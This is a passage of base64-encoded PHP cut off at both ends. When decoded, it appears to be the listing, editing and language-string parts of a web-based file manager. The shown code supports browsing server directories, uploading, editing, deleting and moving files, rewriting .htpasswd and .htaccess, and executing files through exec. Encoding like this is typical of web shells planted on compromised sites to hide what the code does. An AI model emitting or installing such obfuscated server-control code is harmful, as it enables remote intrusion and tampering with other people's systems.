ywgJGRhdGVfZm9ybWF0LCAkc2VsZjsKCWVjaG8gJzx0ciBjbGFzcz0ibGlzdGluZyI+Cgk8dGggc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgdmVydGljYWwtYWxpZ246IG1pZGRsZSI+PGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9c21pbGV5IiBhbHQ9InNtaWxleSIgLz48L3RoPgonOwoJJGQgPSAnZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnJmFtcDsnOwoJaWYgKCEkcmV2ZXJzZSAmJiAkc29ydCA9PSAnZmlsZW5hbWUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsKCWVjaG8gIlx0PHRoIGNsYXNzPVwiZmlsZW5hbWVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9ZmlsZW5hbWUkclwiPiIgLiB3b3JkKCdmaWxlbmFtZScpIC4gIjwvYT48L3RoPlxuIjsKCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ3NpemUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsKCWVjaG8gIlx0PHRoIGNsYXNzPVwic2l6ZVwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1zaXplJHJcIj4iIC4gd29yZCgnc2l6ZScpIC4gIjwvYT48L3RoPlxuIjsKCWlmICghJHdpbikgewoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ3Blcm1pc3Npb24nKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsKCQllY2hvICJcdDx0aCBjbGFzcz1cInBlcm1pc3Npb25faGVhZGVyXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PXBlcm1pc3Npb24kclwiPiIgLiB3b3JkKCdwZXJtaXNzaW9uJykgLiAiPC9hPjwvdGg+XG4iOwoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ293bmVyJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7CgkJZWNobyAiXHQ8dGggY2xhc3M9XCJvd25lclwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1vd25lciRyXCI+IiAuIHdvcmQoJ293bmVyJykgLiAiPC9hPjwvdGg+XG4iOwoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ2dyb3VwJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7CgkJZWNobyAiXHQ8dGggY2xhc3M9XCJncm91cFwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1ncm91cCRyXCI+IiAuIHdvcmQoJ2dyb3VwJykgLiAiPC9hPjwvdGg+XG4iOwoJfQoJZWNobyAnCTx0aCBjbGFzcz0iZnVuY3Rpb25zIj4nIC4gd29yZCgnZnVuY3Rpb25zJykgLiAnPC90aD4KPC90cj4KJzsKCWZvciAoJGkgPSAwOyAkaSA8IHNpemVvZigkbGlzdCk7ICRpKyspIHsKCQkkZmlsZSA9ICRsaXN0WyRpXTsKCQkkdGltZXN0YW1wcyAgPSAnbXRpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ210aW1lJ10pIC4gJywgJzsKCQkkdGltZXN0YW1wcyAuPSAnYXRpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ2F0aW1lJ10pIC4gJywgJzsKCQkkdGltZXN0YW1wcyAuPSAnY3RpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ2N0aW1lJ10pOwoJCWVjaG8gJzx0ciBjbGFzcz0ibGlzdGluZyI+Cgk8dGQgY2xhc3M9ImNoZWNrYm94Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImNoZWNrZWQnIC4gJGkgLiAnIiB2YWx1ZT0idHJ1ZSIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz48L3RkPgoJPHRkIGNsYXNzPSJmaWxlbmFtZSIgdGl0bGU9IicgLiBodG1sKCR0aW1lc3RhbXBzKSAuICciPic7CgkJaWYgKCRmaWxlWydpc19saW5rJ10pIHsKCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9bGluayIgYWx0PSJsaW5rIiAvPiAnOwoJCQllY2hvIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJyAmcmFycjsgJzsKCQkJJHJlYWxfZmlsZSA9IHJlbGF0aXZlMmFic29sdXRlKCRmaWxlWyd0YXJnZXQnXSwgJGRpcmVjdG9yeSk7CgkJCWlmIChAaXNfcmVhZGFibGUoJHJlYWxfZmlsZSkpIHsKCQkJCWlmIChAaXNfZGlyKCRyZWFsX2ZpbGUpKSB7CgkJCQkJZWNobyAnWyA8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRyZWFsX2ZpbGUpIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ3RhcmdldCddKSAuICc8L2E+IF0nOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFtcDtmaWxlPScgLiB1cmxlbmNvZGUoJHJlYWxfZmlsZSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsndGFyZ2V0J10pIC4gJzwvYT4nOwoJCQkJfQoJCQl9IGVsc2UgewoJCQkJZWNobyBodG1sKCRmaWxlWyd0YXJnZXQnXSk7CgkJCX0KCQl9IGVsc2VpZiAoJGZpbGVbJ2lzX2RpciddKSB7CgkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWZvbGRlciIgYWx0PSJmb2xkZXIiIC8+IFsgJzsKCQkJaWYgKCR3aW4gfHwgJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSkgewoJCQkJZWNobyAnPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZmlsZVsncGF0aCddKSAuICciPicgLiBodG1sKCRmaWxlWydmaWxlbmFtZSddKSAuICc8L2E+JzsKCQkJfSBlbHNlIHsKCQkJCWVjaG8gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSk7CgkJCX0KCQkJZWNobyAnIF0nOwoJCX0gZWxzZSB7CgkJCWlmIChzdWJzdHIoJGZpbGVbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICcuJykgewoJCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9aGlkZGVuX2ZpbGUiIGFsdD0iaGlkZGVuIGZpbGUiIC8+ICc7CgkJCX0gZWxzZSB7CgkJCQllY2hvICc8aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1maWxlIiBhbHQ9ImZpbGUiIC8+ICc7CgkJCX0KCQkJaWYgKCRmaWxlWydpc19maWxlJ10gJiYgJGZpbGVbJ2lzX3JlYWRhYmxlJ10pIHsKCQkJICAgZWNobyAnPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9hY3Rpb249dmlldyZhbXA7ZmlsZT0nIC4gdXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJzwvYT4nOwoJCQl9IGVsc2UgewoJCQkJZWNobyBodG1sKCRmaWxlWydmaWxlbmFtZSddKTsKCQkJfQoJCX0KCQlpZiAoJGZpbGVbJ3NpemUnXSA+PSAxMDAwKSB7CgkJCSRodW1hbiA9ICcgdGl0bGU9IicgLiBodW1hbl9maWxlc2l6ZSgkZmlsZVsnc2l6ZSddKSAuICciJzsKCQl9IGVsc2UgewoJCQkkaHVtYW4gPSAnJzsKCQl9CgkJZWNobyAiXHQ8dGQgY2xhc3M9XCJzaXplXCIkaHVtYW4+eyRmaWxlWydzaXplJ119IEI8L3RkPlxuIjsKCQlpZiAoISR3aW4pIHsKCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJwZXJtaXNzaW9uXCIgdGl0bGU9XCIiIC4gZGVjb2N0KCRmaWxlWydwZXJtaXNzaW9uJ10pIC4gJyI+JzsKCQkJJGwgPSAhJGZpbGVbJ2lzX2xpbmsnXSAmJiAoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0dWlkJykgfHwgJGZpbGVbJ293bmVyJ10gPT0gcG9zaXhfZ2V0dWlkKCkpOwoJCQlpZiAoJGwpIGVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXBlcm1pc3Npb24mYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkZmlsZVsncGF0aCddKSAuICcmYW1wO2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+JzsKCQkJZWNobyBodG1sKHBlcm1pc3Npb25fb2N0YWwyc3RyaW5nKCRmaWxlWydwZXJtaXNzaW9uJ10pKTsKCQkJaWYgKCRsKSBlY2hvICc8L2E+JzsKCQkJZWNobyAiPC90ZD5cbiI7CgkJCWlmIChhcnJheV9rZXlfZXhpc3RzKCdvd25lcl9uYW1lJywgJGZpbGUpKSB7CgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cIm93bmVyXCIgdGl0bGU9XCJ1aWQ6IHskZmlsZVsnb3duZXInXX1cIj57JGZpbGVbJ293bmVyX25hbWUnXX08L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwib3duZXJcIj57JGZpbGVbJ293bmVyJ119PC90ZD5cbiI7CgkJCX0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ2dyb3VwX25hbWUnLCAkZmlsZSkpIHsKCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwiZ3JvdXBcIiB0aXRsZT1cImdpZDogeyRmaWxlWydncm91cCddfVwiPnskZmlsZVsnZ3JvdXBfbmFtZSddfTwvdGQ+XG4iOwoJCQl9IGVsc2UgewoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJncm91cFwiPnskZmlsZVsnZ3JvdXAnXX08L3RkPlxuIjsKCQkJfQoJCX0KCQllY2hvICcJPHRkIGNsYXNzPSJmdW5jdGlvbnMiPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUnIC4gJGkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGVbJ3BhdGgnXSkgLiAnIiAvPgonOwoJCSRhY3Rpb25zID0gYXJyYXkoKTsKCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykpIHsKCQkJJGFjdGlvbnNbXSA9ICdjcmVhdGVfc3ltbGluayc7CgkJfQoJCWlmIChAaXNfd3JpdGFibGUoZGlybmFtZSgkZmlsZVsncGF0aCddKSkpIHsKCQkJJGFjdGlvbnNbXSA9ICdkZWxldGUnOwoJCQkkYWN0aW9uc1tdID0gJ3JlbmFtZSc7CgkJCSRhY3Rpb25zW10gPSAnbW92ZSc7CgkJfQoJCWlmICgkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19yZWFkYWJsZSddKSB7CgkJCSRhY3Rpb25zW10gPSAnY29weSc7CgkJCSRhY3Rpb25zW10gPSAnZG93bmxvYWQnOwoJCQlpZiAoJGZpbGVbJ2lzX3dyaXRhYmxlJ10pICRhY3Rpb25zW10gPSAnZWRpdCc7CgkJfQoJCWlmICghJHdpbiAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19leGVjdXRhYmxlJ10gJiYgZmlsZV9leGlzdHMoJy9iaW4vc2gnKSkgewoJCQkkYWN0aW9uc1tdID0gJ2V4ZWN1dGUnOwoJCX0KCQlpZiAoc2l6ZW9mKCRhY3Rpb25zKSA+IDApIHsKCQkJZWNobyAnCQk8c2VsZWN0IGNsYXNzPSJzbWFsbCIgbmFtZT0iYWN0aW9uJyAuICRpIC4gJyIgc2l6ZT0iMSI+CgkJPG9wdGlvbiB2YWx1ZT0iIj4nIC4gc3RyX3JlcGVhdCgnJm5ic3A7JywgMzApIC4gJzwvb3B0aW9uPgonOwoJCQlmb3JlYWNoICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7CgkJCQllY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiRhY3Rpb25cIj4iIC4gd29yZCgkYWN0aW9uKSAuICI8L29wdGlvbj5cbiI7CgkJCX0KCQkJZWNobyAnCQk8L3NlbGVjdD4KCQk8aW5wdXQgY2xhc3M9InNtYWxsIiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCcgLiAkaSAuICciIHZhbHVlPSIgJmd0OyAiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+Cic7CgkJfQoJCWVjaG8gJwk8L3RkPgo8L3RyPgonOwoJfQoJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nX2Zvb3RlciI+Cgk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyB2ZXJ0aWNhbC1hbGlnbjogdG9wIj48aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1hcnJvdyIgYWx0PSImZ3Q7IiAvPjwvdGQ+Cgk8dGQgY29sc3Bhbj0iJyAuICgkY29scyAtIDEpIC4gJyI+CgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibnVtIiB2YWx1ZT0iJyAuIHNpemVvZigkbGlzdCkgLiAnIiAvPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvY3VzIiB2YWx1ZT0iIiAvPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9sZGRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4KJzsKCSRhY3Rpb25zID0gYXJyYXkoKTsKCWlmIChAaXNfd3JpdGFibGUoZGlybmFtZSgkZmlsZVsncGF0aCddKSkpIHsKCQkkYWN0aW9uc1tdID0gJ2RlbGV0ZSc7CgkJJGFjdGlvbnNbXSA9ICdtb3ZlJzsKCX0KCSRhY3Rpb25zW10gPSAnY29weSc7CgllY2hvICcJCTxzZWxlY3QgY2xhc3M9InNtYWxsIiBuYW1lPSJhY3Rpb25fYWxsIiBzaXplPSIxIj4KCQk8b3B0aW9uIHZhbHVlPSIiPicgLiBzdHJfcmVwZWF0KCcmbmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+Cic7Cglmb3JlYWNoICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7CgkJZWNobyAiXHRcdDxvcHRpb24gdmFsdWU9XCIkYWN0aW9uXCI+IiAuIHdvcmQoJGFjdGlvbikgLiAiPC9vcHRpb24+XG4iOwoJfQoJZWNobyAnCQk8L3NlbGVjdD4KCQk8aW5wdXQgY2xhc3M9InNtYWxsIiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF9hbGwiIHZhbHVlPSIgJmd0OyAiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+Cgk8L3RkPgo8L3RyPgonOwp9CmZ1bmN0aW9uIGRpcmVjdG9yeV9jaG9pY2UgKCkgewoJZ2xvYmFsICRkaXJlY3RvcnksICRob21lZGlyLCAkY29scywgJHNlbGY7CgllY2hvICc8dHI+Cgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImRpcmVjdG9yeSI+CgkJPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkaG9tZWRpcikgLiAnIj4nIC4gd29yZCgnZGlyZWN0b3J5JykgLiAnPC9hPjoKCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNoYW5nZWRpciIgdmFsdWU9IicgLiB3b3JkKCdjaGFuZ2UnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPgoJPC90ZD4KPC90cj4KJzsKfQpmdW5jdGlvbiB1cGxvYWRfYm94ICgpIHsKCWdsb2JhbCAkY29sczsKCWVjaG8gJzx0cj4KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBpZD0idXBsb2FkIj4KCQknIC4gd29yZCgnZmlsZScpIC4gJzoKCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF91cGxvYWQiIHZhbHVlPSInIC4gd29yZCgndXBsb2FkJykgLiAnIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPgoJPC90ZD4KPC90cj4KJzsKfQpmdW5jdGlvbiBjcmVhdGVfYm94ICgpIHsKCWdsb2JhbCAkY29sczsKCWVjaG8gJzx0cj4KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBpZD0iY3JlYXRlIj4KCQk8c2VsZWN0IG5hbWU9ImNyZWF0ZV90eXBlIiBzaXplPSIxIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ2NyZWF0ZVwnKSI+CgkJPG9wdGlvbiB2YWx1ZT0iZmlsZSI+JyAuIHdvcmQoJ2ZpbGUnKSAuICc8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSJkaXJlY3RvcnkiPicgLiB3b3JkKCdkaXJlY3RvcnknKSAuICc8L29wdGlvbj4KCQk8L3NlbGVjdD4KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX25hbWUiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF9jcmVhdGUiIHZhbHVlPSInIC4gd29yZCgnY3JlYXRlJykgLiAnIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ2NyZWF0ZVwnKSIgLz4KCTwvdGQ+CjwvdHI+Cic7Cn0KZnVuY3Rpb24gZWRpdCAoJGZpbGUpIHsKCWdsb2JhbCAkc2VsZiwgJGRpcmVjdG9yeSwgJGVkaXRjb2xzLCAkZWRpdHJvd3MsICRhcGFjaGUsICRodHBhc3N3ZCwgJGh0YWNjZXNzOwoJaHRtbF9oZWFkZXIoKTsKCWVjaG8gJzxoMiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogM3B0Ij4nIC4gaHRtbCgkZmlsZSkgLiAnPC9oMj4KPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9ImRpYWxvZyI+Cjx0cj4KPHRkIGNsYXNzPSJkaWFsb2ciPgoJPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIGNvbHM9IicgLiAkZWRpdGNvbHMgLiAnIiByb3dzPSInIC4gJGVkaXRyb3dzIC4gJyIgV1JBUD0ib2ZmIj4nOwoJaWYgKGFycmF5X2tleV9leGlzdHMoJ2NvbnRlbnQnLCAkX1BPU1QpKSB7CgkJZWNobyAkX1BPU1RbJ2NvbnRlbnQnXTsKCX0gZWxzZSB7CgkJJGYgPSBmb3BlbigkZmlsZSwgJ3InKTsKCQl3aGlsZSAoIWZlb2YoJGYpKSB7CgkJCWVjaG8gaHRtbChmcmVhZCgkZiwgODE5MikpOwoJCX0KCQlmY2xvc2UoJGYpOwoJfQoJaWYgKCFlbXB0eSgkX1BPU1RbJ3VzZXInXSkpIHsKCQllY2hvICJcbiIgLiAkX1BPU1RbJ3VzZXInXSAuICc6JyAuIGNyeXB0KCRfUE9TVFsncGFzc3dvcmQnXSk7Cgl9CglpZiAoIWVtcHR5KCRfUE9TVFsnYmFzaWNfYXV0aCddKSkgewoJCWlmICgkd2luKSB7CgkJCSRhdXRoZmlsZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGRpcmVjdG9yeSkgLiAkaHRwYXNzd2Q7CgkJfSBlbHNlIHsKCQkJJGF1dGhmaWxlID0gJGRpcmVjdG9yeSAuICRodHBhc3N3ZDsKCQl9CgkJZWNobyAiXG5BdXRoVHlwZSBCYXNpY1xuQXV0aE5hbWUgJnF1b3Q7UmVzdHJpY3RlZCBEaXJlY3RvcnkmcXVvdDtcbiI7CgkJZWNobyAnQXV0aFVzZXJGaWxlICZxdW90OycgLiBodG1sKCRhdXRoZmlsZSkgLiAiJnF1b3Q7XG4iOwoJCWVjaG8gJ1JlcXVpcmUgdmFsaWQtdXNlcic7Cgl9CgllY2hvICc8L3RleHRhcmVhPgoJPGhyIC8+Cic7CglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0cGFzc3dkKSB7CgkJZWNobyAnCgknIC4gd29yZCgndXNlcicpIC4gJzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+CgknIC4gd29yZCgncGFzc3dvcmQnKSAuICc6IDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJyAuIHdvcmQoJ2FkZCcpIC4gJyIgLz4KCTxociAvPgonOwoJfQoJaWYgKCRhcGFjaGUgJiYgYmFzZW5hbWUoJGZpbGUpID09ICRodGFjY2VzcykgewoJCWVjaG8gJwoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFzaWNfYXV0aCIgdmFsdWU9IicgLiB3b3JkKCdhZGRfYmFzaWNfYXV0aCcpIC4gJyIgLz4KCTxociAvPgonOwoJfQoJZWNobyAnCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJlZGl0IiAvPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+Cgk8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSInIC4gd29yZCgncmVzZXQnKSAuICciIGlkPSJyZWRfYnV0dG9uIiAvPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9IicgLiB3b3JkKCdzYXZlJykgLiAnIiBpZD0iZ3JlZW5fYnV0dG9uIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDUwcHgiIC8+CjwvdGQ+CjwvdHI+CjwvdGFibGU+CjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPgo8L2Zvcm0+Cic7CglodG1sX2Zvb3RlcigpOwp9CmZ1bmN0aW9uIHNwYWNlciAoKSB7CglnbG9iYWwgJGNvbHM7CgllY2hvICc8dHI+Cgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgc3R5bGU9ImhlaWdodDogMWVtIj48L3RkPgo8L3RyPgonOwp9CmZ1bmN0aW9uIHRleHRmaWVsZHNpemUgKCRjb250ZW50KSB7Cgkkc2l6ZSA9IHN0cmxlbigkY29udGVudCkgKyA1OwoJaWYgKCRzaXplIDwgMzApICRzaXplID0gMzA7CglyZXR1cm4gJHNpemU7Cn0KZnVuY3Rpb24gcmVxdWVzdF9kdW1wICgpIHsKCWZvcmVhY2ggKCRfUkVRVUVTVCBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCWVjaG8gIlx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiIiAuIGh0bWwoJGtleSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJHZhbHVlKSAuICJcIiAvPlxuIjsKCX0KfQpmdW5jdGlvbiBodG1sICgkc3RyaW5nKSB7CglnbG9iYWwgJGNoYXJzZXQ7CglyZXR1cm4gaHRtbGVudGl0aWVzKCRzdHJpbmcsIEVOVF9DT01QQVQsICRjaGFyc2V0KTsKfQpmdW5jdGlvbiB3b3JkICgkd29yZCkgewoJZ2xvYmFsICR3b3JkcywgJHdvcmRfY2hhcnNldDsKCXJldHVybiBodG1sZW50aXRpZXMoJHdvcmRzWyR3b3JkXSwgRU5UX0NPTVBBVCwgJHdvcmRfY2hhcnNldCk7Cn0KZnVuY3Rpb24gcGhyYXNlICgkcGhyYXNlLCAkYXJndW1lbnRzKSB7CglnbG9iYWwgJHdvcmRzOwoJc3RhdGljICRzZWFyY2g7CglpZiAoIWlzX2FycmF5KCRzZWFyY2gpKSBmb3IgKCRpID0gMTsgJGkgPD0gODsgJGkrKykgJHNlYXJjaFtdID0gIiUkaSI7Cglmb3IgKCRpID0gMDsgJGkgPCBzaXplb2YoJGFyZ3VtZW50cyk7ICRpKyspIHsKCQkkYXJndW1lbnRzWyRpXSA9IG5sMmJyKGh0bWwoJGFyZ3VtZW50c1skaV0pKTsKCX0KCSRyZXBsYWNlID0gYXJyYXkoJ3snID0+ICc8cHJlPicsICd9JyA9Pic8L3ByZT4nLCAnWycgPT4gJzxiPicsICddJyA9PiAnPC9iPicpOwoJcmV0dXJuIHN0cl9yZXBsYWNlKCRzZWFyY2gsICRhcmd1bWVudHMsIHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJHJlcGxhY2UpLCAkcmVwbGFjZSwgbmwyYnIoaHRtbCgkd29yZHNbJHBocmFzZV0pKSkpOwp9CmZ1bmN0aW9uIGdldHdvcmRzICgkbGFuZykgewoJZ2xvYmFsICR3b3JkX2NoYXJzZXQsICRkYXRlX2Zvcm1hdDsKCXN3aXRjaCAoJGxhbmcpIHsKCWNhc2UgJ2VuJzoKCWRlZmF1bHQ6CgkJJGRhdGVfZm9ybWF0ID0gJ24vai95IEg6aTpzJzsKCQkkd29yZF9jaGFyc2V0ID0gJ0lTTy04ODU5LTEnOwoJCXJldHVybiBhcnJheSgKJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsCidmaWxlJyA9PiAnRmlsZScsCidmaWxlbmFtZScgPT4gJ0ZpbGVuYW1lJywKJ3NpemUnID0+ICdTaXplJywKJ3Blcm1pc3Npb24nID0+ICdQZXJtaXNzaW9uJywKJ293bmVyJyA9PiAnT3duZXInLAonZ3JvdXAnID0+ICdHcm91cCcsCidvdGhlcicgPT4gJ090aGVycycsCidmdW5jdGlvbnMnID0+ICdGdW5jdGlvbnMnLAoncmVhZCcgPT4gJ3JlYWQnLAond3JpdGUnID0+ICd3cml0ZScsCidleGVjdXRlJyA9PiAnZXhlY3V0ZScsCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWF0ZSBzeW1saW5rJywKJ2RlbGV0ZScgPT4gJ2RlbGV0ZScsCidyZW5hbWUnID0+ICdyZW5hbWUnLAonbW92ZScgPT4gJ21vdmUnLAonY29weScgPT4gJ2NvcHknLAonZWRpdCcgPT4gJ2VkaXQnLAonZG93bmxvYWQnID0+ICdkb3dubG9hZCcsCid1cGxvYWQnID0+ICd1cGxvYWQnLAonY3JlYXRlJyA9PiAnY3JlYXRlJywKJ2NoYW5nZScgPT4gJ2NoYW5nZScsCidzYXZlJyA9PiAnc2F2ZScsCidzZXQnID0+ICdzZXQnLAoncmVzZXQnID0+ICdyZXNldCcsCidyZWxhdGl2ZScgPT4gJ1JlbGF0aXZlIHBhdGggdG8gdGFyZ2V0JywKJ3llcycgPT4gJ1llcycsCidubycgPT4gJ05vJywKJ2JhY2snID0+ICdiYWNrJywKJ2Rlc3RpbmF0aW9uJyA9PiAnRGVzdGluYXRpb24nLAonc3ltbGluaycgPT4gJ1N5bWxpbmsnLAonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywKJ3VzZXInID0+ICdVc2VyJywKJ3Bhc3N3b3JkJyA9PiAnUGFzc3dvcmQnLAonYWRkJyA9PiAnYWRkJywKJ2FkZF9iYXNpY19hdXRoJyA9PiAnYWRkIGJhc2ljLWF1dGhlbnRpZmljYXRpb24nLAondXBsb2FkZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gdXBsb2FkZWQuJywKJ25vdF91cGxvYWRlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgdXBsb2FkZWQuJywKJ2FscmVhZHlfZXhpc3RzJyA9PiAnIlslMV0iIGFscmVhZHkgZXhpc3RzLicsCidjcmVhdGVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywKJ25vdF9jcmVhdGVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSBjcmVhdGVkLicsCidyZWFsbHlfZGVsZXRlJyA9PiAnRGVsZXRlIHRoZXNlIGZpbGVzPycsCidkZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMgaGF2ZSBi